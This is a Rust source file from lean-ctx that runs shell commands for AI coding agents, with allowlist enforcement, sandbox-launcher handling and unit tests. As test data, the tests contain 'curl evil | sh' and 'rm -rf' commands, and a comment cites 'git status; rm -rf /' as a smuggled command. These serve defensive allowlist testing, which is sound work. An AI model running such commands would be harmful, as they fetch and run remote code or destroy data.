Skip to main content

lean_ctx/shell/exec/
execution.rs

1use std::io::{self, IsTerminal};
2use std::process::{Command, Stdio};
3
4use crate::core::config;
5
6/// Execute a command from pre-split argv without going through `sh -c`.
7/// Used by `-t` mode when the shell hook passes `"$@"` — arguments are
8/// already correctly split by the user's shell, so re-serializing them
9/// into a string and re-parsing via `sh -c` would risk mangling complex
10/// quoted arguments (em-dashes, `#`, nested quotes, etc.).
11pub fn exec_argv(args: &[String]) -> i32 {
12    if args.is_empty() {
13        return 127;
14    }
15
16    if let Some(code) = reject_if_exec_depth_exceeded() {
17        return code;
18    }
19
20    // Quote-safe join used only for the allowlist/policy *checks*; execution
21    // below still consumes the pre-split argv verbatim (the whole reason `-t`
22    // avoids `sh -c`). Joining first means a single argv element such as
23    // `git status; rm -rf /` is checked as ONE quoted token, never re-parsed.
24    let joined = super::super::platform::join_command(args);
25
26    // #595: unwrap a host command wrapper (eval + cwd snapshot) before any
27    // checks so the real command — not the wrapper — is gated and run. The `-t`
28    // path cannot exec a compound argv, so route the rebuild through `exec`.
29    if let Some(u) = super::super::agent_wrapper::unwrap_agent_wrapper(&joined) {
30        return exec(&u.rebuild());
31    }
32
33    // The `-t` track path is the agent's default shell hook
34    // (`_lc() { lean-ctx -t "$@" }`), so it MUST enforce the same allowlist
35    // boundary as `-c` (see `exec`). Previously it skipped the check entirely,
36    // letting every aliased multi-arg invocation (`_lc git …`) bypass the
37    // restriction that `lean-ctx -c` enforces (GH security audit, finding 1).
38    if let Some(code) = allowlist_gate(&joined) {
39        return code;
40    }
41
42    if super::super::reentry::should_pass_through() {
43        return exec_direct(args);
44    }
45
46    let cfg = config::Config::load();
47    let policy = super::super::output_policy::classify(&joined, &cfg.excluded_commands);
48
49    if policy.is_protected() {
50        let code = exec_direct(args);
51        crate::core::tool_lifecycle::record_shell_command(0, 0);
52        return code;
53    }
54
55    let code = exec_direct(args);
56    crate::core::tool_lifecycle::record_shell_command(0, 0);
57    code
58}
59
60/// Refuses to spawn another shell once nesting has gone past
61/// [`super::super::reentry::MAX_EXEC_DEPTH`] — the last line of defense
62/// against a runaway self-recursion loop (a shell hook re-firing inside a
63/// shell lean-ctx itself spawned, see `reentry::stamp_exec_depth`) that would
64/// otherwise fork-bomb the host.
65///
66/// Returns exit code 126, the same "not allowed" signal the shell-hook
67/// wrappers already treat as "fall back to `command "$@"`" — so exceeding the
68/// ceiling doesn't just stop lean-ctx, it makes the surrounding shell function
69/// run the real command directly, which is what actually breaks the loop.
70fn reject_if_exec_depth_exceeded() -> Option<i32> {
71    if !super::super::reentry::exec_depth_exceeded() {
72        return None;
73    }
74    eprintln!(
75        "lean-ctx: refusing to nest further (depth >= {}) — a shell hook is re-firing inside a \
76         command lean-ctx already spawned. Running the command raw instead of risking a \
77         runaway process loop. If this persists, check for a duplicate/competing shell \
78         integration that also wraps commands through lean-ctx.",
79        super::super::reentry::MAX_EXEC_DEPTH
80    );
81    Some(126)
82}
83
84fn exec_direct(args: &[String]) -> i32 {
85    let mut cmd = Command::new(&args[0]);
86    cmd.args(&args[1..])
87        .stdin(Stdio::inherit())
88        .stdout(Stdio::inherit())
89        .stderr(Stdio::inherit());
90    super::super::reentry::mark_child(&mut cmd);
91    super::super::platform::apply_utf8_locale(&mut cmd);
92    let status = cmd.status();
93
94    match status {
95        Ok(s) => s.code().unwrap_or(1),
96        Err(e) => {
97            tracing::error!("lean-ctx: failed to execute: {e}");
98            127
99        }
100    }
101}
102
103/// Decides whether an allowlist violation on the CLI path blocks (exit 126) or
104/// only warns.
105///
106/// Enforced when:
107/// - hook-child mode (`LEAN_CTX_HOOK_CHILD`): lean-ctx is the agent's
108///   command-interception channel and must not be weaker than the MCP path, or
109/// - stderr is not a TTY: a non-interactive caller is an agent or script, and
110///   agent-driven `lean-ctx -c` must enforce the same boundary as ctx_shell.
111///
112/// Warn-only when a human runs `lean-ctx -c` at an interactive terminal (they
113/// can run the command without lean-ctx anyway, so blocking adds friction, not
114/// a boundary) or when `LEAN_CTX_ALLOWLIST_WARN_ONLY=1` explicitly opts out.
115fn allowlist_must_enforce() -> bool {
116    let hook_child = crate::core::runtime_flags::hook_child_enabled();
117    let warn_only = std::env::var("LEAN_CTX_ALLOWLIST_WARN_ONLY")
118        .is_ok_and(|v| v == "1" || v.eq_ignore_ascii_case("true"));
119    allowlist_must_enforce_inner(hook_child, warn_only, io::stderr().is_terminal())
120}
121
122/// Pure decision core of [`allowlist_must_enforce`] (unit-testable without
123/// process-global env/TTY state).
124fn allowlist_must_enforce_inner(hook_child: bool, warn_only: bool, stderr_is_tty: bool) -> bool {
125    if hook_child {
126        return true;
127    }
128    if warn_only {
129        return false;
130    }
131    !stderr_is_tty
132}
133
134/// True when this process's stdout is a **regular file** — i.e. the caller
135/// redirected output to a file (`cmd > out`, `cmd >> out`).
136///
137/// Output captured to a file is consumed as *data*, so it must stay byte-faithful:
138/// compression would silently drop/abbreviate lines and corrupt the file
139/// (e.g. `git status --short > files.txt` losing entries). Pipes (agent capture)
140/// and TTYs are NOT regular files and return `false`, so they keep their normal
141/// behavior — this only ever *adds* a verbatim guarantee, never removes one.
142///
143/// Uses only `std`: it wraps the existing stdout descriptor in a `ManuallyDrop`
144/// `File` purely to read its metadata (`fstat` on Unix, `GetFileInformation` on
145/// Windows) without ever closing the real stdout.
146fn stdout_is_regular_file() -> bool {
147    #[cfg(unix)]
148    {
149        use std::os::unix::io::{AsRawFd, FromRawFd};
150        let fd = io::stdout().as_raw_fd();
151        // SAFETY: fd 1 stays valid for the whole process. `ManuallyDrop` prevents
152        // the wrapper's `Drop` from closing stdout; we only read metadata.
153        let file = std::mem::ManuallyDrop::new(unsafe { std::fs::File::from_raw_fd(fd) });
154        file.metadata().is_ok_and(|m| m.is_file())
155    }
156    #[cfg(windows)]
157    {
158        use std::os::windows::io::{AsRawHandle, FromRawHandle};
159        let handle = io::stdout().as_raw_handle();
160        // SAFETY: the stdout handle stays valid for the whole process.
161        // `ManuallyDrop` prevents the wrapper's `Drop` from closing it.
162        let file = std::mem::ManuallyDrop::new(unsafe { std::fs::File::from_raw_handle(handle) });
163        file.metadata().is_ok_and(|m| m.is_file())
164    }
165    #[cfg(not(any(unix, windows)))]
166    {
167        false
168    }
169}
170
171/// Quote-aware check for stdout file redirects (`>`, `>>`) inside a command
172/// string. Returns `true` when the command redirects to a real file (not
173/// `/dev/null`, not `>&N` fd-duplication, not `2>`).
174fn command_has_file_redirect(cmd: &str) -> bool {
175    let bytes = cmd.as_bytes();
176    let len = bytes.len();
177    let mut i = 0;
178    let mut in_single_quote = false;
179    let mut in_double_quote = false;
180
181    while i < len {
182        let c = bytes[i];
183        if c == b'\\' && !in_single_quote {
184            i += 2;
185            continue;
186        }
187        if c == b'\'' && !in_double_quote {
188            in_single_quote = !in_single_quote;
189        } else if c == b'"' && !in_single_quote {
190            in_double_quote = !in_double_quote;
191        } else if c == b'>' && !in_single_quote && !in_double_quote {
192            if i > 0 && bytes[i - 1] == b'2' {
193                i += 1;
194                continue;
195            }
196            let target_start = if i + 1 < len && bytes[i + 1] == b'>' {
197                i + 2
198            } else {
199                i + 1
200            };
201            let target: String = cmd[target_start..]
202                .trim_start()
203                .chars()
204                .take_while(|c| !c.is_whitespace())
205                .collect();
206            if target == "/dev/null" || target == "/dev/stdout" || target == "/dev/stderr" {
207                i += 1;
208                continue;
209            }
210            if let Some(fd) = target.strip_prefix('&')
211                && !fd.is_empty()
212                && (fd == "-" || fd.chars().all(|c| c.is_ascii_digit()))
213            {
214                i += 1;
215                continue;
216            }
217            if !target.is_empty() {
218                return true;
219            }
220        }
221        i += 1;
222    }
223    false
224}
225
226/// Shared allowlist gate for the CLI shell entrypoints — `-c` (via [`exec`]) and
227/// `-t` (via [`exec_argv`]). Both must apply the SAME boundary so the track path
228/// (the default shell hook) cannot be weaker than the compress path.
229///
230/// Returns `Some(126)` when the command is blocked and the caller must return
231/// that exit code; `None` when execution may proceed (allowed, or warn-only for
232/// an interactive human — see [`allowlist_must_enforce`]).
233fn allowlist_gate(command: &str) -> Option<i32> {
234    if let Err(msg) = crate::core::shell_allowlist::check_shell_allowlist(command) {
235        if allowlist_must_enforce() {
236            eprintln!("{msg}");
237            eprintln!(
238                "lean-ctx: command blocked by shell allowlist. \
239                 Allow it permanently: lean-ctx allow <cmd> — or set \
240                 LEAN_CTX_ALLOWLIST_WARN_ONLY=1 to downgrade to a warning."
241            );
242            return Some(126);
243        }
244        // Diagnostic, not user feedback: an interactive human at a TTY can run
245        // the command without lean-ctx anyway, and surfacing a WARN in their
246        // plain terminal is exactly the confusion GH #699 reported. A non-TTY
247        // caller that opted into warn-only gets it at info, without the enforce
248        // text ("blocked, do not retry") for a command that runs (#1874).
249        let reason = crate::core::shell_allowlist::warn_only_reason(msg.message());
250        if io::stderr().is_terminal() {
251            tracing::debug!("[CLI] Command would be blocked in MCP mode: {reason}");
252        } else {
253            tracing::info!("[CLI] Command would be blocked in MCP mode; it ran ({reason})");
254        }
255    }
256    None
257}
258
259pub fn exec(command: &str) -> i32 {
260    if let Some(code) = reject_if_exec_depth_exceeded() {
261        return code;
262    }
263
264    // #1834 (Path C): the host's OS-sandbox launcher (`env … sandbox-exec …
265    // /bin/zsh -c '<Path B>'`, Claude Code `sandbox.enabled`). Unwrapping it
266    // would run the real command outside the sandbox, and gating the launcher
267    // as a whole hard-blocks every call on the inner `eval`. Gate the script
268    // inside it here — exactly as Path A/B would — then run the launcher
269    // verbatim. This gate is the one that counts: the inner shell may be bash,
270    // which never reads `.zshenv`, so its re-entry is only for compression.
271    // See `agent_wrapper::os_sandbox_launcher_argv`.
272    if let Some(argv) = super::super::agent_wrapper::os_sandbox_launcher_argv(command) {
273        if let Some(code) = allowlist_gate(&sandbox_launcher_gated_command(&argv)) {
274            return code;
275        }
276        return exec_sandbox_launcher(&argv);
277    }
278
279    // #595: when the agent wraps its command in host scaffolding
280    // (`… && eval '<cmd>' … && pwd -P >| …-cwd`), look through it so the allowlist
281    // and compression act on the REAL command, not the wrapper — whose `eval` the
282    // allowlist would otherwise hard-block on every single call. The cwd snapshot
283    // is preserved so the host keeps tracking the working directory.
284    let unwrapped = super::super::agent_wrapper::unwrap_agent_wrapper(command).map(|u| u.rebuild());
285    let mut collapsed_nested = false;
286    let collapsed;
287    let command = unwrapped.as_deref().unwrap_or(command);
288    let command = if let Some(c) = collapse_nested_lean_ctx_exec(command) {
289        collapsed_nested = true;
290        collapsed = c;
291        collapsed.as_str()
292    } else {
293        command
294    };
295
296    if let Some(code) = allowlist_gate(command) {
297        return code;
298    }
299
300    let (shell, shell_flag) = super::super::platform::shell_and_flag();
301    let command = crate::tools::ctx_shell::normalize_command_for_shell(command);
302    // #1286: keep the zsh preamble (`setopt nonomatch noequals; `) OUT of the
303    // command string used for classification and compression — every
304    // `starts_with("ls ")`/`git`-style pattern matcher silently stopped
305    // matching under zsh (the default macOS shell), degrading pattern
306    // compression to the generic terse fallback. The preamble is applied to
307    // the SPAWNED command only, inside the exec helpers.
308    let command = command.as_str();
309
310    if super::super::reentry::is_disabled() {
311        return exec_inherit(command, &shell, &shell_flag);
312    }
313    if should_delegate_wrapped_to_shell_default(collapsed_nested) {
314        return exec_shell_default(command, &shell, &shell_flag);
315    }
316
317    let cfg = config::Config::load();
318    let force_compress = crate::core::runtime_flags::compress_enabled();
319    let raw_mode = crate::core::runtime_flags::raw_enabled();
320
321    if raw_mode {
322        return exec_inherit_tracked(command, &shell, &shell_flag);
323    }
324
325    let policy = super::super::output_policy::classify(command, &cfg.excluded_commands);
326
327    // Passthrough: ALWAYS bypass compression, even with force_compress.
328    if policy == super::super::output_policy::OutputPolicy::Passthrough {
329        return exec_inherit_tracked(command, &shell, &shell_flag);
330    }
331
332    // Verbatim: bypass compression unless force_compress is set,
333    // in which case use buffered path (compress_if_beneficial will
334    // respect the verbatim classification and only size-cap).
335    if policy == super::super::output_policy::OutputPolicy::Verbatim && !force_compress {
336        return exec_inherit_tracked(command, &shell, &shell_flag);
337    }
338
339    if !force_compress {
340        if io::stdout().is_terminal() {
341            return exec_inherit_tracked(command, &shell, &shell_flag);
342        }
343        let code = exec_inherit(command, &shell, &shell_flag);
344        crate::core::tool_lifecycle::record_shell_command(0, 0);
345        return code;
346    }
347
348    // Compression is forced (`-c` / LEAN_CTX_COMPRESS, e.g. the agent shell hook).
349    // It must STILL never alter bytes destined for a file: a redirect
350    // (`cmd > out`, `cmd >> out`) means the output is captured as data, not read by
351    // a human or agent. Writing the compressed digest there would silently
352    // drop/abbreviate lines and corrupt the file (e.g. contradictory `git diff`
353    // dumps). Pass redirected-to-file output through verbatim; pipes (agent
354    // capture) and TTYs keep compressing. This is the single choke point, so it
355    // holds for every caller (hook, direct CLI, Pi/MCP bridges).
356    if stdout_is_regular_file() {
357        return exec_inherit_tracked(command, &shell, &shell_flag);
358    }
359
360    // Also bypass compression when the redirect is INSIDE the command string
361    // (e.g., `lean-ctx -c 'git show HEAD:f > out.md'`). In this case lean-ctx's
362    // own stdout is a pipe (to the agent), but the shell child redirects its
363    // stdout to the file. exec_buffered would capture empty/minimal output while
364    // the file gets correct data — but the overhead is wasted and the compressed
365    // empty output confuses agents. Let sh handle it natively. (#1303)
366    if command_has_file_redirect(command) {
367        return exec_inherit_tracked(command, &shell, &shell_flag);
368    }
369
370    super::super::pipeline::exec_buffered(command, &shell, &shell_flag, &cfg)
371}
372
373fn collapse_nested_lean_ctx_exec(command: &str) -> Option<String> {
374    let mut current = command.trim().to_string();
375    let mut changed = false;
376
377    while let Some(next) = strip_one_lean_ctx_exec(&current) {
378        if next == current {
379            break;
380        }
381        current = next;
382        changed = true;
383    }
384
385    changed.then_some(current)
386}
387
388fn should_delegate_wrapped_to_shell_default(collapsed_nested: bool) -> bool {
389    // After collapsing `lean-ctx -c "lean-ctx -c ..."` the current process is the
390    // one compression pass that would otherwise be owned by the shell default.
391    // Delegating again would drop back to raw execution or re-enter the hook.
392    super::super::reentry::is_wrapped() && !collapsed_nested
393}
394
395fn strip_one_lean_ctx_exec(command: &str) -> Option<String> {
396    let words = split_simple_shell_words(command)?;
397    if words.len() < 3 || !is_lean_ctx_bin(&words[0].value) {
398        return None;
399    }
400    if words[1].value != "-c" && words[1].value != "exec" {
401        return None;
402    }
403    if words[2..].iter().any(|w| {
404        matches!(
405            w.value.as_str(),
406            "|" | "||" | "&" | "&&" | ";" | "<" | ">" | ">>"
407        )
408    }) {
409        return None;
410    }
411    if words.len() == 3 {
412        Some(words[2].value.trim().to_string())
413    } else {
414        Some(command[words[2].start..].trim().to_string())
415    }
416}
417
418fn is_lean_ctx_bin(word: &str) -> bool {
419    std::path::Path::new(word)
420        .file_name()
421        .and_then(|name| name.to_str())
422        .is_some_and(|name| name == "lean-ctx" || name == "lean-ctx.exe")
423}
424
425struct SimpleShellWord {
426    value: String,
427    start: usize,
428}
429
430fn split_simple_shell_words(command: &str) -> Option<Vec<SimpleShellWord>> {
431    let mut words = Vec::new();
432    let mut current = String::new();
433    let mut current_start: Option<usize> = None;
434    let mut chars = command.char_indices().peekable();
435    let mut quote: Option<char> = None;
436
437    while let Some((idx, ch)) = chars.next() {
438        match quote {
439            Some('\'') if ch == '\'' => quote = None,
440            Some('"') if ch == '"' => quote = None,
441            None if ch == '\'' || ch == '"' => {
442                current_start.get_or_insert(idx);
443                quote = Some(ch);
444            }
445            Some('"') | None if ch == '\\' => {
446                current_start.get_or_insert(idx);
447                if let Some((_, next)) = chars.next() {
448                    current.push(next);
449                }
450            }
451            None if ch.is_whitespace() => {
452                if let Some(start) = current_start.take() {
453                    words.push(SimpleShellWord {
454                        value: std::mem::take(&mut current),
455                        start,
456                    });
457                }
458            }
459            Some(_) | None => {
460                current_start.get_or_insert(idx);
461                current.push(ch);
462            }
463        }
464    }
465
466    if quote.is_some() {
467        return None;
468    }
469    if let Some(start) = current_start {
470        words.push(SimpleShellWord {
471            value: current,
472            start,
473        });
474    }
475    (!words.is_empty()).then_some(words)
476}
477
478/// What the allowlist sees for a sandbox launcher: the script it runs, looked
479/// through the host scaffolding the same way [`exec`] does for Path A/B. A
480/// script that is not host scaffolding is gated whole — its `eval` then blocks
481/// exactly as it would without the sandbox.
482fn sandbox_launcher_gated_command(argv: &[String]) -> String {
483    let script = argv.last().map_or("", String::as_str);
484    super::super::agent_wrapper::unwrap_agent_wrapper(script)
485        .map_or_else(|| script.to_string(), |u| u.rebuild())
486}
487
488/// Spawn an OS-sandbox launcher argv as-is (Path C), without a shell in
489/// between: a `zsh -c` hop here would re-read `.zshenv` with the same launcher
490/// string and loop back into lean-ctx. The caller has already gated the
491/// script. The re-entry guard the hook exported (`LEAN_CTX_ACTIVE`) and the
492/// ownership marker are cleared so a zsh the launcher starts *inside* the
493/// sandbox re-enters the hook for compression; the depth stamp still bounds
494/// runaway nesting.
495fn exec_sandbox_launcher(argv: &[String]) -> i32 {
496    match sandbox_launcher_command(argv).status() {
497        Ok(s) => s.code().unwrap_or(1),
498        Err(e) => {
499            tracing::error!("lean-ctx: failed to execute sandbox launcher: {e}");
500            127
501        }
502    }
503}
504
505fn sandbox_launcher_command(argv: &[String]) -> Command {
506    let mut cmd = Command::new(&argv[0]);
507    cmd.args(&argv[1..])
508        .stdin(Stdio::inherit())
509        .stdout(Stdio::inherit())
510        .stderr(Stdio::inherit());
511    super::super::reentry::clear_shell_default_markers(&mut cmd);
512    super::super::reentry::stamp_exec_depth(&mut cmd);
513    super::super::platform::apply_utf8_locale(&mut cmd);
514    cmd
515}
516
517fn exec_inherit(command: &str, shell: &str, shell_flag: &str) -> i32 {
518    // #1286: the zsh preamble is applied at spawn time only, so `command`
519    // stays clean for classification/compression upstream.
520    let spawn_command = super::super::platform::zsh_safe_command(command, shell);
521    let mut cmd = Command::new(shell);
522    cmd.arg(shell_flag)
523        .arg(&spawn_command)
524        .stdin(Stdio::inherit())
525        .stdout(Stdio::inherit())
526        .stderr(Stdio::inherit());
527    super::super::reentry::mark_child(&mut cmd);
528    super::super::platform::apply_utf8_locale(&mut cmd);
529    super::super::platform::apply_profile_free_env(&mut cmd);
530    let status = cmd.status();
531
532    match status {
533        Ok(s) => s.code().unwrap_or(1),
534        Err(e) => {
535            tracing::error!("lean-ctx: failed to execute: {e}");
536            127
537        }
538    }
539}
540
541fn exec_shell_default(command: &str, shell: &str, shell_flag: &str) -> i32 {
542    let spawn_command = super::super::platform::zsh_safe_command(command, shell);
543    let mut cmd = Command::new(shell);
544    cmd.arg(shell_flag)
545        .arg(&spawn_command)
546        .stdin(Stdio::inherit())
547        .stdout(Stdio::inherit())
548        .stderr(Stdio::inherit());
549    super::super::reentry::clear_shell_default_markers(&mut cmd);
550    super::super::reentry::stamp_exec_depth(&mut cmd);
551    super::super::platform::apply_utf8_locale(&mut cmd);
552    super::super::platform::apply_profile_free_env(&mut cmd);
553    let status = cmd.status();
554
555    match status {
556        Ok(s) => s.code().unwrap_or(1),
557        Err(e) => {
558            eprintln!("lean-ctx: failed to execute '{command}': {e}");
559            127
560        }
561    }
562}
563
564fn exec_inherit_tracked(command: &str, shell: &str, shell_flag: &str) -> i32 {
565    let code = exec_inherit(command, shell, shell_flag);
566    crate::core::tool_lifecycle::record_shell_command(0, 0);
567    code
568}
569
570/// Label inserted between stdout and stderr of a FAILED command so the agent can
571/// attribute the error to the right stream instead of guessing — and never has to
572/// re-run the command raw just to locate the failure. See #809 / #812.
573pub(crate) const STDERR_LABEL: &str = "--- stderr ---";
574
575/// Join captured stdout and stderr for display/recovery. On failure (non-zero
576/// exit) with both streams present, a labeled delimiter separates them; success
577/// output keeps the plain `stdout\nstderr` shape (determinism, #498).
578pub(crate) fn combine_streams(stdout: &str, stderr: &str, exit_code: i32) -> String {
579    match (stdout.is_empty(), stderr.is_empty()) {
580        (_, true) => stdout.to_string(),
581        (true, false) => stderr.to_string(),
582        (false, false) if exit_code != 0 => format!("{stdout}\n{STDERR_LABEL}\n{stderr}"),
583        (false, false) => format!("{stdout}\n{stderr}"),
584    }
585}
586
587// Buffered command execution and output transformation live in `pipeline`.
588
589#[cfg(test)]
590mod nested_lean_ctx_exec_tests;
591
592#[cfg(test)]
593mod exec_tests {
594    #[test]
595    fn combine_streams_labels_stderr_on_failure() {
596        let out = super::combine_streams("build ok", "linker: undefined symbol", 1);
597        assert_eq!(
598            out,
599            format!(
600                "build ok\n{}\nlinker: undefined symbol",
601                super::STDERR_LABEL
602            )
603        );
604    }
605
606    #[test]
607    fn combine_streams_plain_join_on_success() {
608        let out = super::combine_streams("step 1", "warning: noop", 0);
609        assert_eq!(out, "step 1\nwarning: noop");
610        assert!(!out.contains(super::STDERR_LABEL));
611    }
612
613    #[test]
614    fn combine_streams_single_stream_is_unchanged() {
615        assert_eq!(super::combine_streams("only stdout", "", 1), "only stdout");
616        assert_eq!(super::combine_streams("", "only stderr", 1), "only stderr");
617    }
618
619    #[test]
620    fn exec_direct_runs_true() {
621        let code = super::exec_direct(&["true".to_string()]);
622        assert_eq!(code, 0);
623    }
624
625    #[test]
626    fn exec_direct_runs_false() {
627        let code = super::exec_direct(&["false".to_string()]);
628        assert_ne!(code, 0);
629    }
630
631    #[test]
632    fn exec_direct_preserves_args_with_special_chars() {
633        let code = super::exec_direct(&[
634            "echo".to_string(),
635            "hello world".to_string(),
636            "it's here".to_string(),
637            "a \"quoted\" thing".to_string(),
638        ]);
639        assert_eq!(code, 0);
640    }
641
642    #[test]
643    fn exec_direct_nonexistent_returns_127() {
644        let code = super::exec_direct(&["__nonexistent_binary_12345__".to_string()]);
645        assert_eq!(code, 127);
646    }
647
648    #[test]
649    fn exec_argv_empty_returns_127() {
650        let code = super::exec_argv(&[]);
651        assert_eq!(code, 127);
652    }
653
654    #[test]
655    fn exec_argv_runs_simple_command() {
656        let _lock = crate::core::data_dir::test_env_lock();
657        crate::test_env::remove_var("LEAN_CTX_HOOK_CHILD");
658        crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
659        let code = super::exec_argv(&["true".to_string()]);
660        assert_eq!(code, 0);
661    }
662
663    #[test]
664    fn exec_argv_passes_through_when_disabled() {
665        let _lock = crate::core::data_dir::test_env_lock();
666        crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
667        crate::test_env::set_var("LEAN_CTX_DISABLED", "1");
668        let code = super::exec_argv(&["true".to_string()]);
669        crate::test_env::remove_var("LEAN_CTX_DISABLED");
670        assert_eq!(code, 0);
671    }
672
673    // Finding 1 (GH security audit): the `-t` track path is the default shell
674    // hook, so it must enforce the allowlist exactly like the `-c` path. A
675    // non-allowlisted command must be blocked (126), not executed.
676    #[test]
677    fn exec_argv_enforces_allowlist_for_disallowed_command() {
678        let _lock = crate::core::data_dir::test_env_lock();
679        crate::test_env::remove_var("LEAN_CTX_ACTIVE");
680        crate::test_env::remove_var("LEAN_CTX_DISABLED");
681        crate::test_env::remove_var("LEAN_CTX_ALLOWLIST_WARN_ONLY");
682        // hook-child forces enforcement regardless of the test runner's TTY state.
683        crate::test_env::set_var("LEAN_CTX_HOOK_CHILD", "1");
684        crate::test_env::set_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE", "git");
685
686        // #1022: `true` is now a SHELL_BUILTIN (bypasses allowlist).
687        // Use `xxd` which is a real binary and not in the override list.
688        let code = super::exec_argv(&["xxd".to_string()]);
689
690        crate::test_env::remove_var("LEAN_CTX_HOOK_CHILD");
691        crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
692
693        assert_eq!(
694            code, 126,
695            "non-allowlisted command must be blocked on the -t track path"
696        );
697    }
698
699    #[test]
700    fn exec_argv_allows_allowlisted_command() {
701        let _lock = crate::core::data_dir::test_env_lock();
702        crate::test_env::remove_var("LEAN_CTX_ACTIVE");
703        crate::test_env::remove_var("LEAN_CTX_DISABLED");
704        crate::test_env::set_var("LEAN_CTX_HOOK_CHILD", "1");
705        crate::test_env::set_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE", "true");
706
707        let code = super::exec_argv(&["true".to_string()]);
708
709        crate::test_env::remove_var("LEAN_CTX_HOOK_CHILD");
710        crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
711
712        assert_eq!(code, 0, "allowlisted command must run on the -t track path");
713    }
714    // P0-1 (#413): the CLI allowlist must enforce for agents, warn for humans.
715    #[test]
716    fn allowlist_enforces_in_hook_child_mode() {
717        // Hook-child wins over everything, even an interactive TTY.
718        assert!(super::allowlist_must_enforce_inner(true, false, true));
719        assert!(super::allowlist_must_enforce_inner(true, true, true));
720    }
721
722    #[test]
723    fn allowlist_enforces_for_non_interactive_callers() {
724        // Agent/script invocation: stderr is a pipe → enforce.
725        assert!(super::allowlist_must_enforce_inner(false, false, false));
726    }
727
728    #[test]
729    fn allowlist_warns_for_interactive_humans() {
730        // Human at a TTY → warn-only (they can bypass lean-ctx anyway).
731        assert!(!super::allowlist_must_enforce_inner(false, false, true));
732    }
733
734    #[test]
735    fn allowlist_warn_only_opt_out_downgrades_non_interactive() {
736        // Explicit LEAN_CTX_ALLOWLIST_WARN_ONLY=1 opt-out (but never in hook-child mode).
737        assert!(!super::allowlist_must_enforce_inner(false, true, false));
738        assert!(super::allowlist_must_enforce_inner(true, true, false));
739    }
740
741    // --- #1303: command_has_file_redirect ---
742
743    #[test]
744    fn redirect_to_file_detected() {
745        assert!(super::command_has_file_redirect("git show HEAD:f > out.md"));
746        assert!(super::command_has_file_redirect("git diff >> changes.log"));
747        assert!(super::command_has_file_redirect(
748            "git status > /tmp/status.txt"
749        ));
750    }
751
752    #[test]
753    fn no_redirect_not_detected() {
754        assert!(!super::command_has_file_redirect("git status"));
755        assert!(!super::command_has_file_redirect("cargo test --lib"));
756    }
757
758    #[test]
759    fn dev_null_not_detected_as_redirect() {
760        assert!(!super::command_has_file_redirect("cargo test > /dev/null"));
761        assert!(!super::command_has_file_redirect("cmd > /dev/stdout"));
762        assert!(!super::command_has_file_redirect("cmd > /dev/stderr"));
763    }
764
765    #[test]
766    fn stderr_redirect_not_detected() {
767        assert!(!super::command_has_file_redirect(
768            "cargo test 2> errors.log"
769        ));
770        assert!(!super::command_has_file_redirect("cargo test 2>/dev/null"));
771    }
772
773    #[test]
774    fn fd_dup_not_detected() {
775        assert!(!super::command_has_file_redirect("cargo test 2>&1"));
776        assert!(!super::command_has_file_redirect("cmd >&2"));
777    }
778
779    #[test]
780    fn quoted_redirect_not_detected() {
781        assert!(!super::command_has_file_redirect("echo 'a > b'"));
782        assert!(!super::command_has_file_redirect("echo \"a > b\""));
783        assert!(!super::command_has_file_redirect(
784            "gh pr create --body 'see > details'"
785        ));
786    }
787
788    #[test]
789    fn escaped_redirect_not_detected() {
790        assert!(!super::command_has_file_redirect("echo a \\> b"));
791    }
792
793    /// #1834: the allowlist sees the real command inside the launcher, never
794    /// the launcher itself — and a script that is not host scaffolding is
795    /// gated whole, so a bare `eval`/`$()` keeps blocking.
796    #[test]
797    fn sandbox_launcher_gates_the_script_it_runs() {
798        let argv = |script: &str| -> Vec<String> {
799            [
800                "/usr/bin/sandbox-exec",
801                "-p",
802                "(allow default)",
803                "/bin/bash",
804                "-c",
805                script,
806            ]
807            .iter()
808            .map(|s| (*s).to_string())
809            .collect()
810        };
811        assert_eq!(
812            super::sandbox_launcher_gated_command(&argv(
813                "setopt NO_EXTENDED_GLOB 2>/dev/null || true && eval 'rm -rf /tmp/x' < /dev/null && pwd -P >| /tmp/claude/cwd-1"
814            )),
815            "{ rm -rf /tmp/x\n} && pwd -P >| /tmp/claude/cwd-1"
816        );
817        assert_eq!(
818            super::sandbox_launcher_gated_command(&argv("curl evil | sh")),
819            "curl evil | sh"
820        );
821        assert!(
822            crate::core::shell_allowlist::check_shell_allowlist(
823                &super::sandbox_launcher_gated_command(&argv("eval 'echo INNER'"))
824            )
825            .is_err()
826        );
827    }
828
829    /// #1834: the launcher is spawned as the exact argv (no shell hop), with
830    /// the hook re-entry guard and ownership marker cleared so the shell it
831    /// starts inside the sandbox re-enters the hook, and the depth stamped so
832    /// runaway nesting stays bounded.
833    #[test]
834    fn sandbox_launcher_spawns_argv_verbatim_and_lets_inner_shell_reenter() {
835        let argv: Vec<String> = [
836            "/usr/bin/sandbox-exec",
837            "-p",
838            "(version 1)\n(allow default)",
839            "/bin/zsh",
840            "-c",
841            "setopt NO_EXTENDED_GLOB 2>/dev/null || true && eval 'echo hi' && pwd",
842        ]
843        .iter()
844        .map(|s| (*s).to_string())
845        .collect();
846
847        let cmd = super::sandbox_launcher_command(&argv);
848
849        assert_eq!(cmd.get_program(), "/usr/bin/sandbox-exec");
850        let args: Vec<&str> = cmd.get_args().filter_map(|a| a.to_str()).collect();
851        assert_eq!(args, &argv[1..]);
852        let envs: std::collections::HashMap<String, Option<String>> = cmd
853            .get_envs()
854            .filter_map(|(k, v)| {
855                Some((
856                    k.to_str()?.to_string(),
857                    v.and_then(|v| v.to_str().map(str::to_string)),
858                ))
859            })
860            .collect();
861        assert_eq!(envs.get("LEAN_CTX_ACTIVE"), Some(&None));
862        assert_eq!(envs.get("LEAN_CTX_WRAPPED"), Some(&None));
863        assert!(
864            envs.get("LEAN_CTX_EXEC_DEPTH")
865                .and_then(|v| v.as_deref())
866                .is_some_and(|d| d.parse::<u32>().is_ok_and(|d| d >= 1)),
867            "{envs:?}"
868        );
869    }
870}